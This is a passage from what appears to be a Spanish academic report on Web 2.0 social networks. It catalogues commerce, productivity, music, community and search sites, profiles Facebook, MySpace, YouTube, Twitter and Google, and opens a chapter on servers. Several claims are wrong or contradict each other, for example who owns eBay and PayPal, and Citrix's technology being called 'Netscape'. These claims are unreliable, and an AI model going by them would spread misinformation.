de momento.
eBay
eBay.com
eBay es un portal de internet destinado a la subasta de
artículos por Internet. Permite tres operaciones: subasta,
¡Cómpralo ya! y Anuncio clasificado. Es otro pionero junto a
Amazon y actualmente pertenece a PayPal. Al contrario
que Amazon si ofrece su servicio en España.
PayPal
PayPal.com PayPal es un servicio de pago a través de Internet. Permite
la transferencia de dinero entre diferentes usuarios de
manera anónima. Los usuarios están menos protegidos
legalmente que si se hace el pago a través de una entidad
financiera como un banco.
Craigslist
Craigslist.org Craigslist es una red centralizada de comunidades urbanas
online. Se trata de un portal web básico que ofrece anuncios
clasificados gratuitos y categoría de curriculum vitae y foros.
Google AdWords
Adwords.Google.com
Google AdWords se trata de un servicio de Google para
incluir publicidad en Google y en su red publicitaria y poder
así captar clientes. El usuario crea sus propios anuncios a su
gusto y eligiendo las palabras clave que desee.
Página 48
sociales
Woot!
Woot.com Woot! se trata de un minorista por Internet Americano.
Woot ofrece un producto al día hasta terminar stock. Tiene
ofertas especiales como Woot-Off, Happy Hour, Bag of
Crap, 2-for-Tuesday y Product launches. Colabora con
Yahoo! Shooping.
Yahoo! Shopping
Shopping.Yahoo.com
Yahoo! Shopping es una web de compra por Internet con

posibilidad de comparación de precios. Permite puntuar los
productos según su precio o calidad.
Etsy
Etsy.com
Etsy se trata de una web de comercio electrónico
especializada en artículos hechos a mano o artículo vintage.
Estos artículos son de muchos tipos como fotografía, ropa,
joyería, comestibles, productos de baño&belleza, juguetes,
etc.
Zillow Zillow es una base de datos online. El website usa un

Zillow.com algoritmo propietario llamado Zestimate para evaluar los
valores de las casas sobre la base de unos factores no
revelados. La web está creada por ex ejecutivos de
Microsoft. Se dedica básicamente a la compra venta de
viviendas en Estados Unidos. También sirve de base de
datos de agentes de compra-venta de viviendas.
ZipRealty
Ziprealty.com
ZipRealty es una web de compra-venta de casas por
Internet.
Página 49
sociales
Páginas Amarillas
PaginasAmarillas.es
Páginas Amarillas es una web online para todo tipo de

anuncios como restaurantes, hoteles, etc. Permite puntuar
los lugares así como opiniones de los usuarios.
Atrapalo
Atrapalo.com Atrapalo es una web de compra de entradas de eventos de
teatro, cine, etc. y la compra de vuelos, hoteles, viajes,
restaurantes, etc. Es muy dinámica porque permite que los
usuarios puntúen las ofertas y opinen.
Kayak
Kayak.com
Kayak permite la compra y el alquiler de coches, hoteles,
vuelos. Permite a los usuarios puntuar las ofertas.
Booking
Booking.com
Booking es una web reserva de hoteles por todo el mundo a
precio muy económico. Permite comentarios de los
usuarios y puntuaciones.
Kaboodle Kaboodle es un portal de Internet de social bookmarking.

Kaboodle.com Aprovecha las búsquedas de otras personas para facilitar las
compras. Su tendencia es de etiquetado semántico y
software social. Permite comparar ofertas, productos,
servicios. Tiene la posibilidad de actuar de red social
permitiendo a los usuarios con intereses comunes
conectarse entre ellos.
Página 50
sociales
4.1.6. Profesionales&Productividad
Webs 2.0 profesionales para perfil de CV y buscar trabajo y webs 2.0 profesionales.
Tabla 7. Redes Sociales. Categoría: Profesionales&Productividad.
Red Descripción
LinkedIn LinkedIn es una red social orientada a las relaciones
www.linkedin.com laborales. En el portal podemos crear una red de contactos
laborales de confianza que nos puede ayudar a
beneficiarnos en nuestra carrera laboral. También sirve a
modo de CV para poder presentar a las empresas o a los
contactos laborales.
Xing
www.xing.com
Xing es una plataforma de networking online que permite
gestionar contactos laborales y establecer relaciones
profesionales de cualquier empresa y sector. Se fundó en
Alemania con el nombre de openBC. Tiene 10 millones de
usuarios.
Viadeo
www.viadeo.com
Viadeo es una web 2.0 de relaciones profesionales con 30
millones de miembros. Viadeo permite añadirse a la lista de
miembros de socios de negocios manteniéndose en
contacto o ayudarse unos a otros para encontrar trabajo o
encontrar oportunidades de negocio.
Elance Es una red social de networking online que permite

Elance.com encontrar y contratar a diferentes trabajadores, ver los
trabajos en curso de estos, etc. Tanto desde el lado de las
empresas que deseen ampliar plantilla como desde el
trabajador que tiene ganas de trabajar ofrece un conjunto
de herramientas para este intercambio.
FirstDialog
www.FirstDialog.com
FirstDialog aparece en su versión alpha con la misión de
crear una red social de profesionales parecida a las famosas
LinkedIn o Xing.
Página 51
sociales
FreeWebs
Webs.com FreeWebs es una herramienta online gratuita para creación
de páginas web. Es un portal fácil de usar similar a otros
editores WYSIWYG. Integra muy bien otros sitios de redes
sociales como blogs, Youtube, Photobucket, foros, libros,
revistas, libro de visitas, sistema de votaciones, chat,
juegos, localización de Google Maps, etc.
Red Social Pymes

Redsocialpymes.com
PyMEs es una red social para PYMEs. Se puede compartir

información sobre todas las PYMEs que se registren de
manera gratuita.
Basecamp Basecamp es una Web 2.0 de pago basada en una

BasecampHQ.com herramienta web para administrar proyectos. La
herramienta ha sido desarrollada por 37signals, empresa de
aplicaciones web de Chicago. La herramienta desarrolla
muchas aplicaciones como intercambio de archivos,
seguimiento de tiempos del proyecto, sistema de
mensajería, gestión de hitos, etc.
Google Calendar
Google Calendar es una agenda y calendario electrónicos
Google.com/Calendar
que permite sincronizarlo con otros usuarios de GMail para
poder invitar y compartir eventos a estos y ellos así poder
ver o editarlos.
Google Docs and

Spreadsheets
Docs.Google.com
Google Docs and Spreadsheets es una aplicación web de

edición de documentos. Incluye documentos de texto, hoja
de cálculo, presentaciones y un editor de formularios.
Permite compartir esos documentos con otros usuarios y
permite editarlos de manera conjunta.
Página 52
sociales
Office Live Workspace

Workspace.Officelive.com Office Live Workspace es una herramienta de Live Spaces
de Microsoft. Permite acceder, editar y compartir
documentos desde cualquier lugar. Su funcionamiento es
parecido a Google Docs.
Mint
Mint.com
Mint es una web 2.0 que permite almacenar todas nuestras

cuentas financieras en un solo lugar. Se puede establecer un
presupuesto, seguimiento de metas, etc. y todo esto de
manera segura. Mantiene una comunidad de usuarios.
Remember The Milk

RememberTheMilk.com
Remember The Milk, permite gestionar las tareas de
manera online. Hace que la gestión de estas se haga de
manera agradable. Permite ordenar nuestras tareas por
hora, fecha, prioridad, etc. y poder compartirlas con los
demás.
Yahoo! Calendar
Calendar.Yahoo.com Yahoo! Calendar es similar a Google Calendar. Se trata de
un calendario vía web, permite añadir eventos con alarmas
de aviso, permite compartir esos eventos con usuarios de
Yahoo! y permite agregarnos a otros calendarios de interés.
Zoho
Zoho.com Zoho se compone de un conjunto de aplicaciones web
como Zoho writer, Zoho Sheet, Zoho Show, Zoho Wiki,
Zoho Notebook, Zoho Meeting, Zoho Projects, Zoho CRM,
Zoho Planner, Zoho Chat, Zoho Mail, etc. La herramienta
fue desarrollada por la compañía americana AdventNet.
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sociales
4.1.7. Música&Sonido
Redes sociales dedicadas a la música.
Tabla 8. Redes Sociales. Categoría: Música&Sonido.
Red Descripción
Spotify
Spotify.com
Spotify es una aplicación que permite la reproducción de
música vía streaming o guardar la música en local. La
ventaja frente a otras es que se puede realizar una
búsqueda por artista, disco, canción o discografía y
escuchar las canciones de manera íntegra y gratuita.
También puedes añadir a tus amigos a través de Facebook y
escuchar sus listas de reproducción y favoritos. La empresa
fue creada en Suecia.
LastFM LastFM es una radio social en Internet. También incorpora

LastFM.com un sistema de recomendaciones musicales que construye
estadísticas a través de las escuchas de música y perfiles
sobre gustos musicales. No es necesario escuchar la radio
LastFM para que construya nuestro perfil musical, si no a
partir de una aplicación musical es capaz, como por
ejemplo, Spotify que de la posibilidad de integrarlo con
LastFM.
Amazonmp3
AmazonMP3.com
Amazonmp3 es una tienda de música digital. Permite la

posibilidad de descargar música comprada, comprando
canciones individuales o discos.
BlogTalkRadio
BlogTalkRadio.com BlogTalkRadio se trata de una radio online social. Se pueden
escuchar una gran variedad de shows de manera gratuita de
cualquier tipo como coches, financias, negocios, salud,
tecnología, deportes, etc.
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sociales
eMusic
eMusic.com
eMusic es una tienda online de música y audiobooks que

funciona por suscripción. Está ubicada en New York City.
Finetune
Finetune.com
Finetune es una web online de música que te permite
descubrir nueva música, crear playlists y organizar nuestros
artistas favoritos y álbumes.
iLike
iLike.com iLike es un servicio de música social integrado para Google
y Facebook. Permite compartir recomendaciones de
música, listas de reproducción y personalizar alertas. Se
puede integrar con iTunes mediante una barra ubicada a la
derecha.
iTunes
Apple.com/iTunes
iTunes es un reproductor de medios que permite sincronizar

IPod, IPhone, Ipad y comprar música online mediante
ITunes Store. También vende películas, programas de tv,
juegos, audiolibros y Apps para sus dispositivos.
Live365com
Live365.com
Live365com es un portal web de radio por Internet donde

los usuarios pueden escuchar las diferentes emisoras o
pueden crearse la suya propia.
Página 55
sociales
Pandora
Pandora.com
Pandora es una radio online que sólo opera en Estados

Unidos por problemas de derechos de autor. Pandora nació
del Proyecto Genoma.
Microsoft’s Zune
Marketplace
Zune.net Zune es un reproductor digital de audio desarrollado por
Microsoft. Zune no solo se refiere al reproductor sino
también al contenido de Zune Marketplace que funciona
muy parecido a ITunes e ITunes Store.
Buzznet Buzznet es una red social de fotos, noticias y video creado

Buzznet.com por Buzz Media. Se diferencia con otras redes sociales en
que sus usuarios participan en comunidades donde se crean
ideas, eventos e intereses comunes mayoritariamente de
temas musicales, celebridades y medios de comunicación.
Grooveshark
Listen.Grooveshark.com
Groveshark es un reproductor de música online que

funciona a modo de Spotify pero con la ventaja de que es a
través de web, no es necesario instalarse ningún programa.
Su interfaz es muy intuitiva y ofrece muchas canciones de
gran calidad.
Jamendo
Jamendo.com Jamendo es una comunidad creada para la música libre y
legal, donde los artistas pueden subir música gratuitamente
y su público puede descargarla también de manera gratuita.
JamLegend
Jamlegend.com
JamLegend es un navegador basado en un juego de música
y video gratuito y online, parecido al Guitar Hero. El
componente social es que los jugadores pueden subir
cualquier canción .mp3 vía FTP y compartirlas con otros.
Página 56
sociales
NexusRadio
Nexusradio.com NexusRadio es un programa muy completo para escuchar
radios de manera online. Tiene una lista de géneros muy
grande.
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sociales
4.1.8. Comunidad
Comunidades de blogueros y noticias.
Tabla 9. Redes Sociales. Categoría: Comunidad.
Red Descripción
WordPress
WordPress.com
WordPress es un gestor de contenidos de blogs de código
abierto. Existe una comunidad muy grande de
desarrolladores y diseñadores que ayudado mucho a su
éxito desarrollando plugins para el gestor. Su facilidad de
uso, las características como gestor de contenidos y el
hecho de que sea opensource han ayudado mucho también.
Blogger Blogger es un gestor de contenidos de blogs creado por

Blogger.com Pyra Labs. Es junto a WordPress el gestor de bitácoras más
usado del mundo. Algo a su favor frente a WordPress es que
al pertenecer actualmente a Google permite hacer login con
nuestra cuenta de GMail. Permite interactuar con Picasa
también.
Worth1000
Worth1000.com Worth1000 es un portal web para manipulación de
imágenes. Posee una gran comunidad así como una gran
selección de fotos. Existen muchos foros de debate que
permiten todo tipo de discusiones.
Bitacoras
Bitacoras.com
Bitacoras se trata de una red social donde los bloggers
pueden crear sus bitácoras y jugar con varios servicios y
herramientas que ofrece el portal. Incorpora un filtro social
que recoge información sobre los blogs y la muestra de
manera organizada y pudiendo ser valorada por los
usuarios.
Alianzo
Alianzo.com
Alianzo es un gestor de contenidos para blogs. Posee un
ranking de usuarios que colaboran en Alianzo de Twitter y
Facebook.
Página 58
sociales
Drupal
Drupal.org
Drupal es un sistema de gestión de contenidos muy

configurable. Se trata de un programa de opensource con
licencia en GNU/GPL desarrollado en PHP. Mantiene una
comunidad activa de usuarios. Su interfaz es muy adecuada
para crear y gestionar comunidades en Internet y permite
mucha versatilidad gracias a la gran cantidad de módulos
que incorpora.
Digg
Digg.com
Digg es un portal web de noticias de ciencia y tecnología

principalmente que permite sindicación de contenidos,
blogging, marcadores sociales con un control editorial
democrático pudiendo publicar así artículos de todo tipo de
géneros.
Meneame
Meneame.net
Meneame es un Digg pero en formato español. Se basa en

la participación de la comunidad ya que estos envían
noticias a la web que los demás usuarios pueden votar y
según el número de meneos (votos) las noticias van
subiendo puestos.
Yammer
Yammer.com
Yammer es un servicio de microblogging muy parecido a
Twitter, pero enfocado a un sector más empresarial.
Taringa! Taringa! es una comunidad virtual de entretenimiento

Taringa.net donde sus usuarios comparten todo tipo de información a
través de mensajes. Tiene su origen en Argentina. Los
usuarios pueden crear su espacio para su comunidad
basada en sus intereses, preferencias, afinidades y así otras
personas poder participar en ella o compartir cualquier tipo
de información.
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sociales
4.1.9. Búsquedas&Referencias
Portales dedicados a búsquedas, referencias o enciclopedias online.
Tabla 10. Redes Sociales. Categoría: Búsquedas&Referencias.
Red Descripción
Wikipedia
Wikipedia.org
Wikipedia es una enciclopedia online libre retroalimentada

por sus usuarios voluntarios permitiendo así crear una
enciclopedia con más de 16 millones de artículos
completamente actualizada.
Answers
Answers.com
Answers es una similar a Wikipedia pero con preguntas. Los

usuarios van introduciendo preguntas y otros usuarios
responden a estas. La web es generada por una comunidad
de conocimiento, plataforma Q&A, aprovechándose de las
tecnologías wiki.
Google
Google se trata de un motor de búsqueda resultado de la
Google.com
tesis de Larry Page y Sergey Brin para mejorar las
búsquedas en Internet. En cuanto Google se dio a conocer
al mercado, desbancó a todos los buscadores de la época.
Poco a poco la empresa Google Inc. se ha ido expandiendo
y hoy por hoy ofrece una cantidad de servicios inmensa.
Ask Es un motor de búsqueda en Internet al igual que Google.

Ask.com La idea inicial de Ask fue la de poder realizar preguntas con
un lenguaje natural y que pudieran ser respondidas. Su idea
es hacer una búsqueda más intuitiva que otros buscadores.
Página 60
sociales
Google Earth
Earth.Google.com
Google Earth se trata de un programa informático que
permite visualizar imágenes de la tierra en 3D, así como
imágenes satélite, mapas ayudándose del motor de
búsqueda de Google para encontrar imágenes en el lugar
que deseemos.
Google Maps
Maps.Google.com
Google Maps es un servicio web gratuito que ofrece mapas
web desplazables de todo el mundo. También permite la
posibilidad de ver imágenes de satélites. A través de Google
Maps podemos ver la herramienta Google Street View para
ver fotografías esféricas a pie de calle.
Hakia
Hakia.com
Hakia es un motor de búsqueda. Cuando se creó por
QDEXing se buscaba una alternativa nueva a la estructura
de indexación usando el algoritmo SemanticRank.
Microsoft’s Live Search

Live.com
Microsoft’s Live Search es el motor de búsqueda
proporcionado por Microsoft.
Wikia
Wikia.com Wikia se trata de un portal web que da un servicio de
alojamiento gratuito de páginas web. Basado en tecnología
wiki y en la filosofía de cooperación. Fue fundada por
Jimmy Wales, presidente de la compañía Wikimedia,
organización matriz de Wikipedia.
Yahoo! Search Yahoo Search se trata de un motor de búsqueda

Search.yahoo.com/ proporcionado por Yahoo! Actualmente Bing tiene el poder
de Yahoo Search. Sus principales competidores son Google
y Ask.
Página 61
sociales
4.1.10. Otras
Otros portales 2.0 que no se han incluido en las clasificaciones anteriormente citadas como
juegos de entretenimiento o educación.
Tabla 11. Redes Sociales. Categoría: Otras.
Red Descripción
Classroom 2.0 Red social enfocada a la Web 2.0 y las tecnologías
Classroom20.com colaborativas para la educación. Este sitio invita a aquellos
profesionales de la educación interesados en las nuevas
tecnologías a ser parte de esa comunidad virtual y participar
de un diálogo digital entre pares.
GaiaOnline
Gaiaonline.com
GaiaOnline se trata de un portal web de redes sociales y

foros basado en anime. Los usuarios del juego crean su
propio avatar y se les da recompensas según la
participación en los foros o jugando.
cVidaClub
cVidaClub.com
Cvidaclub es así una red social cuya principal razón de ser es
mejorar la calidad de vida de nuestra sociedad.
BeautifulPeople
www.beautifulpeople.com
La web nos dice: “Las apariencias son importantes para
usted cuando tienes que elegir a una pareja. ¿Quisieras que
te garantizaran que tu cita siempre sea Guapo/Guapa?”.
Página 62
sociales
4.2. Algunos ejemplos clave
4.2.1. Facebook (www.facebook.com)

Es un portal web dedicado esencialmente a las redes sociales. Incluyendo muchos servicios
como fotos, video, redes de amigos, música, eventos, aplicaciones, chat…
Ilustración 3. Portal de Facebook.
Los usuarios de Facebook pueden participar en redes sociales como colegio o universidad
dónde estudian, trabajo, situación geográfica, etc.
Facebook fue creada por Mark Elliot Zuckerberg, estudiante de la universidad de Harvard. Es
un programador y un gran empresario de Estados Unidos con tan sólo 25 años de edad.
Facebook le está quitando mercado a MySpace, ya que Facebook es una web dedicada para
todo tipo de usuarios y MySpace está destinada principalmente a grupos de música. En
Facebook los grupos de música tienen la posibilidad de darse a conocer a todos los contactos
de y en MySpace se dan a conocer principalmente a otros grupos de música, de ahí la cuota de
mercado que tiene actualmente Facebook. Podríamos afirmar que MySpace que actualmente
en decadencia.
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sociales
Podemos ver en el siguiente gráfico8, como en Diciembre del 2008 Facebook obtuvo un total
de 222.ooo visitantes, frente a los 125.000 que obtuvo MySpace, es decir una diferencia de
casi 100.000 visitantes.
Ilustración 4. Numero de visitas a las webs Facebook y MySpace durante el año 2008 por meses.
Hablaremos en muchas ocasiones de esta gran red ya que actualmente es la red social que
más usuarios tiene en el mundo con un total de 500 millones de usuarios y la red social más
popular del planeta.
8
Gráfico obtenido del artículo “Facebook now twice as big as MySpace? Oh boy” de Caroline McCarthy escritora de CNet.
http://news.cnet.com/8301-13577_3-10148855-36.html?tag=mncol;title
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sociales
4.2.2. MySpace (www.myspace.com)

Se trata de un espacio social, destinado esencialmente a grupos musicales que pueden ser
famosos o estar intentando darse a conocer mediante la red, de todos los estilos musicales y
provenientes de todo el mundo. En el portal se crean perfiles personales de estos grupos o
también de usuarios individuales, proporcionando una gran cantidad de servicios como redes
de amigos, fotos, videos, música, eventos, blogs... Es una revolución social en todo el mundo,
especialmente en Estados Unidos.
Ilustración 5. Portal de MySpace.
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sociales
Fue creado por Tom Anderson, propiedad en la actualidad de News Corporation.

Lo que destaca de MySpace, es la posibilidad de dar a conocer a los grupos de música sus
canciones subiéndolas a la web y teniendo la posibilidad de escuchar estas canciones íntegras,
en el reproductor de MySpace. También destaca la posibilidad de jugar con HTML para
decorar el propio espacio del usuario como se desee; este punto es muy importante ya que le
diferencia de Facebook, que es una página más estática en este sentido, sin esta posibilidad.
La decadencia de MySpace se hizo latente con la salida de Facebook al mercado pero aún así
seguía manteniendo cierta cuota para aquellos melómanos que desearan seguir escuchando
música vía streaming. Actualmente con el nacimiento de Spotify, prácticamente MySpace no
tiene nada que hacer porque la parte de escuchar música en streaming del grupo que desees
está cubierta en esta aplicación. Si MySpace no pega un giro radical en su línea de negocio
probablemente desaparezca con el paso del tiempo o quede destinada a una pequeña cuota
de mercado mínima.
Página 66
sociales
4.2.3. Youtube (www.youtube.com)

Es un sitio web especializado en la reproducción de videos digitales. Cualquier usuario puede
crear un perfil en Youtube personalizado con su propio canal de videos.
Ilustración 6. Portal de YouTube.
La Web se creó en noviembre de 2005, siendo sus primeros directivos Chad Hurley y Steve
Chen, antiguos empleados de PayPal y hoy en día en los puestos de director ejecutivo y
director de tecnología. En octubre de 2006, Google.Inc compro Youtube por 1.650 millones de
dólares. Actualmente es la empresa líder de video online, siendo el sitio más visitado para ver
y compartir videos en Internet. La calidad de los videos normalmente es algo baja, son videos
pixelados; Youtube también da la posibilidad de ver estos videos en High Quality (Alta
Calidad) permitiendo a los usuarios con una red con más velocidad visionarlos a mejor calidad
o simplemente esperando a que se carguen.
Youtube es principalmente criticada por la censura de videos de tipo material pornográfico,

terrorismo, copyright… alegando intolerancia, incomprensión y derecho a la libertad de
expresión por parte de los usuarios. Por otro lado, por parte de empresas y artistas, Youtube
se enfrenta al problema de los derechos de copyright9, derechos de autor o derechos
intelectuales.
9
Para más información, leer la noticia del periódico ABC, “YouTube y Viacom: libertad de expresión
frente a 'copyright'” a través de la web http://www.hoytecnologia.com/noticias/YouTube-Viacom:-
libertad-expresion/59947.
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sociales
4.2.4. Tuenti (www.tuenti.com)

Red social de tipo Facebook, destinada a gente joven española. Al igual que Facebook tiene
un gran número de posibilidades como fotos, eventos, videos, redes de amigos, etc.
Ilustración 7. Portal de Tuenti.
Se creó por el estudiante estadounidense Zaryn Dentzel10 en 2006, consejero delegado de

Tuenti actualmente.
10
Para conocer más se puede visitar un interesante enlace de una conferencia que realizó Zaryn a los nuevos alumnos graduados
de la IE Universidad de Segovia sobre la creación de Tuenti.
http://www.youtube.com/watch?v=NLEZouEe8ZA&feature=PlayList&p=954E245F4A4DF71D&playnext=1&playnext_from=PL&i
ndex=4
Página 68
sociales
4.2.5. Flickr (www.flickr.com)

Es un sitio web dedicado a la fotografía permitiendo colgar fotos y videos para poder así
compartirlos con otros usuarios así como también videos. Destaca principalmente en la
capacidad de almacenamiento de fotos y búsqueda, pudiendo etiquetar estas y ver y
comentar fotografía de otros usuarios.
Ilustración 8. Portal de Flickr.
El éxito de Flickr es la posibilidad de etiquetar imágenes, de búsquedas de fotos por fechas,

etiquetas, etc., es decir, la forma de poder organizar las imágenes.
Flickr funciona bajo AJAX y canales RSS y Atom. Dispone de un API libre para poder
incorporar Flickr a aplicaciones independientes creadas por desarrolladores independientes.
A pesar de que Flickr pertenece a Yahoo, actualmente también permiten la posibilidad de

acceder al portal mediante un usuario de gmail.
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sociales
4.2.6. Ebay (www.ebay.com)

Es una web de compra-venta de productos por Internet. En eBay se subastan artículos de
cualquier tipo por usuarios registrados.
Ilustración 9. Portal de Ebay.
Es el líder del mercado de subastas por Internet, esto debido en parte a que fue uno de los
pioneros en estas transacciones creándose en 1995 por Pierre Omidyar en California, Estados
Unidos. En el año 1999 eBay compró la empresa PayPal, que es el principal sistema de pago
que se utiliza hoy en día para realizarlas compras y ventas en el portal.
Lo que comenzó como un lugar de comercio de artículos coleccionables se ha convertido hoy

en un mercado mundial donde se puede encontrar cualquier tipo de producto.
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sociales
4.2.7. Del.icio.us (www.delicious.com)

Se trata de un servicio de gestión de marcadores sociales en la web. Permite añadir nuestros
sitios web y así compartirlos con otros usuarios, pudiendo así indicar la popularidad de cada
Web y filtrando y organizando la información.
Ilustración 10. Portal de Delicious.
La Web se creó en el 2003 y es mantenida principalmente por Joshua Schachter. El diciembre

de 2005 la empresa fue comprada exitosamente por Yahoo!. Delicious tiene una interfaz muy
simple basada en HTML que ha hecho potenciar su éxito en gran parte.
Página 71
sociales
4.2.8. Amazon (www.amazon.com)

Es el mayor portal dedicado a la venta de artículos por Internet. Fue una de las primeras
grandes empresas dedicadas al comercio electrónico.
Ilustración 11. Portal de Amazon.
Se creó en 1994 por Jeff Bezos y se lanzó al mercado en 1995 comenzando con cadabra.com
que era una librería online. Actualmente su sede se encuentra en Seattle, Estados Unidos. Se
lanzó a bolsa en 1997, y hoy por hoy Amazon, es uno de los gigantes del mercado informático
habiendo absorbido numerosas empresas y poniéndose al nivel de Google o Microsoft.
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sociales
4.2.9. Twitter (www.twitter.com)

Es un servicio de microblogging conectado a una red social de amigos a nivel mundial. La idea
es mantener tu espacio personal con actualizaciones diarias de tu perfil las cuales las podrán
ver todos los contactos que sean amigos para poder intercambiar opiniones. Hoy en día
Twitter11, es uno de los portales más famosos de microblogging gracias al creciente éxito que
está obteniendo.
Ilustración 12. Portal de Twitter.
Twitter, al igual que la mayoría de Web 2.0, nació como un proyecto de investigación de la
empresa Obvious, una empresa emprendedora y creativa de San Francisco, EEUU. El primer
prototipo de Twitter se creó en marzo de 2006 y se publicitó en agosto de 2006. El portal
creció de manera muy rápida y se hizo muy popular en muy poco tiempo fundándose en mayo
de 2007 la empresa Twitter.
La tecnología usada por Twitter es “Ruby on Rails” o “RoR o Rails”, que se trata de un conjunto
de aplicaciones programadas en Ruby siguiendo el paradigma de la arquitectura MVC (Modelo
Vista Controlador). Los mensajes de Twitter se encuentran en un servidor con software Scada
y la empresa dispone de una API (Interfaz de programación de aplicaciones) de software libre
para poder incorporar Twitter en cualquier aplicación a web que se desee.
11
Para más información sobre ¿qué es Twitter? podemos consultar este video muy explicativo
http://www.youtube.com/watch?v=_8y79gnc35E
Página 73
sociales
4.2.10. Google (www.google.com)

Google en sí no podemos decir con que se trate de una Web 2.0, ya que se trata de un
buscador básico, donde los usuarios pueden interactuar ayudando a Google dando
información sobre cuáles son las páginas más visitadas pero poco más.
Pero Google.Inc comprende muchas aplicaciones basadas en la filosofía 2.0 como GoogleDocs
& Spreadsheets, Google talk, Google Groups, Google Noticias, Google Video, Google
AdSense, Google Adwords, Google Calendar, etc. Hoy en día podríamos meter en esta
clasificación a Youtube ya que pertenece a la empresa.
Ilustración 13. Portal de Google.
En 1995, dos graduados de la universidad de Standford, Sergey Brin de 23 años y experto en

tratamiento de datos y Licenciado en Informática y Ciencias Matemáticas y Larry Page con
experiencia en diseño web e Ingeniero Eléctrico comenzaron un proyecto conjunto para la
creación de un algoritmo de búsqueda que se acabaría convirtiendo dos años más tarde en
Google.
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sociales
4.2.11. Blogs
Un blog o bitácora, es un portal web que se actualiza prácticamente a diario y proporciona
información sobre un tema determinado. Los artículos son escritos por el autor, y pueden ser
comentados por cualquier usuario de Internet que lo desee y si el webmaster del portal lo
permite.
Ilustración 14. Blogs.
Los blogs son hoy un día uno de los servicios más populares que existen en la red, de tal
manera que mucha gente tiene blogs personales o incluso los famosos y las empresas utilizan
los blogs para promocionarse de manera activa.
Existen determinadas herramientas que facilitan la publicación de artículos en el blog,

herramientas muy fáciles de usar y muy intuitivas. Algunas de ellas son Blogger, Freewebs,
LiveJournal, WordPress, Movable Type, etc.
Posteriormente hablaremos de los feeds de RSS y ATOM.
Página 75
sociales
El fenómeno blog, es un claro ejemplo del gran impacto que tienen las redes sociales. Todavía
se discute hoy si existe una “cultura blog”.
Löic Le Meur, un conocido blogger francés, nos muestra tal cultura en la siguiente tabla12.
Tabla 12. Fenómeno blog por Le Meur.
Aspectos característicos de la cultura blog

Voluntad y deseo de compartir sus pensamientos y expectativas
Creciente importancia de saber lo que otros piensan
Los blogueros se ayudan mucho unos a otros
Necesidad de información diaria de un gran número de fuentes
Deseo de controlar la forma en que leen las noticias
Los blogueros tienden a ser “ciudadanos del mundo”
Los blogueros se relacionan en la vida real
Existencia de un “código compartido”
Están habituados a proporcionar y recibir realimentación
Una irresistible voluntad de compartir con los demás
La cultura de la velocidad
La necesidad del reconocimiento
12
Extractos de las observaciones publicada en Le Meur en 2005 extraídos por Fumero&Sáez Vacas en 2006.
Página 76
sociales
Capítulo 5
¿Dónde se alojan?
5.1. Servidores, plataformas y máquinas
Una de las características esenciales de la Web 2.0 es la interfaz, ya que es lo que el usuario
finalmente ve, pero detrás de esta interfaz hay toda una tecnología. Hay otros aspectos
esenciales de estas webs que son la funcionalidad y la velocidad de respuesta, que en muchos
casos son deficientes cuando se trata de los recursos del servidor a la hora de cubrir demandas
de aplicaciones interactivas. Para que este tipo de aplicaciones se necesite una comunicación
entre el servidor y el cliente uno a uno, lo que requiere gran capacidad de recursos de los
servidores disminuyendo rendimiento y escalabilidad. Muchas webs, debido a la gran
demanda de datos que se realiza a los servicios ofertados por ellas, se ven obligadas a
comprar grupos muy grandes de servidores para soportar esta demanda de datos.
Principalmente la tecnología más implantada en este tipo de webs es AJAX (Asynchronous

Javascript And XML) que es, por decirlo así, una mezcla de tecnologías y lenguajes.
Posteriormente se profundizará más esta tecnología.
En el año 2009, la empresa Citrix Systems Inc., sacó al mercado la primera tecnología push
Web 2.0. La tecnología llamada Netscape, permite de entrega de aplicaciones que permite
simplificar el proceso de disminución de envío de información, enviando datos desde al
servidor a miles de usuarios a la vez. Gracias a esta nueva tecnología Netscape permite liberar
a los servidores del back-end de las tareas de administración de conexiones ineficientes,
reduciendo el número de servidores necesarios para esto lo que permite ahorrar costes y
mayor eficiencia.
Por detrás de la interfaz de los portales 2.0 existen los sistemas de gestión de contenido o
CMS (del inglés Content Management Systems); se trata de la base de las plataformas de
servicios de publicación y colaboración apoyadas en blogs y wikis; sistemas técnicos
complejos. El gran éxito que tienen es la facilidad de implantación y uso que tienen.
No sólo la tecnología es importante, sino también la capacidad de las máquinas donde se

implanta esta tecnología. Es necesario tener muchos servidores con gran capacidad y mucha
refrigeración. Las empresas dedicadas a Web 2.0 tienen centros de servidores que gastan de
10 a 30 veces más en energía por metro cuadrado que cualquier edificio normal de oficinas.
Página 77
sociales
Debido a esto las empresas tecnológicas crean servidores especializados para este tipo de
empresas.
Por ejemplo el servidor iDataPlex de IBM esta especialmente pensado para este tipo de
servicios.
Ventajas 13 que incorpora frente a otros servidores

normales:
Permite duplicar el número de sistemas que

funcionan en un único rack IBM.
Emplea un 40% menos de energía, a la vez que
multiplica por 5 la capacidad de procesamiento.
Puede ir equipado con una pared de refrigeración
líquida en la parte posterior del sistema que le permite
funcionar a temperatura ambiente.
Emplea componentes estándar del mercado, así
como software de código abierto, como Linux, para
reducir los costos.
Ilustración 15. Ilustración 17.
Servidor iDataPlex de IBM.
Hay diferentes formas de trabajar con estos servidores de manera que las conexiones entre
cliente y servidor sean más rápidas y eficientes. La más popularizada son las bases de datos
distribuidas; se conectan varios maquinas para poder así procesar las aplicaciones en paralelo
aumentando los tiempos de respuesta para funciones de búsqueda. Se tratan de conjuntos de
bases de datos que se relacionan datos de manera lógica encontrándose físicamente
distribuidas en diferentes sitios, pero trabajando a nivel lógico de manera conjunta.
IBM está colaborando en una iniciativa para el desarrollo de futuras tecnologías, con dos
instituciones académicas importantes que son Georgia Institute of Technology y Ohio State
University, para realizar una investigación de centros de computación basados en cloud
computing14. El proyecto incluye la creación de una “nube de computación” uniendo los
centros de cómputo de las dos instituciones. Estos centros dan la opción a las empresas de
hacer más con menos recursos ya que habilitan la gestión de las aplicaciones como un tejido
de recursos distribuido al cual se tiene acceso global en vez de depender sólo de máquinas
locales lo que aumentará el rendimiento de las máquinas y disminuirá la complejidad y los
recursos para administrar recursos de la computación distribuida.
13
[8] (Fuente http://www.codejava.org/v2_vernota.htm?idxnota=72643&destacada=1)
14
El cloud computing se trata de un paradigma que permite ofrecer servicios de computación a través de Internet. En este tipo de
computación todo lo que puede ofrecer un sistema informático se ofrece como un servicio de modo que los usuarios accedan a
ese servicio disponible en la “nube de internet” o “cloud computing” sin necesidad de tener conocimientos en los sistemas que
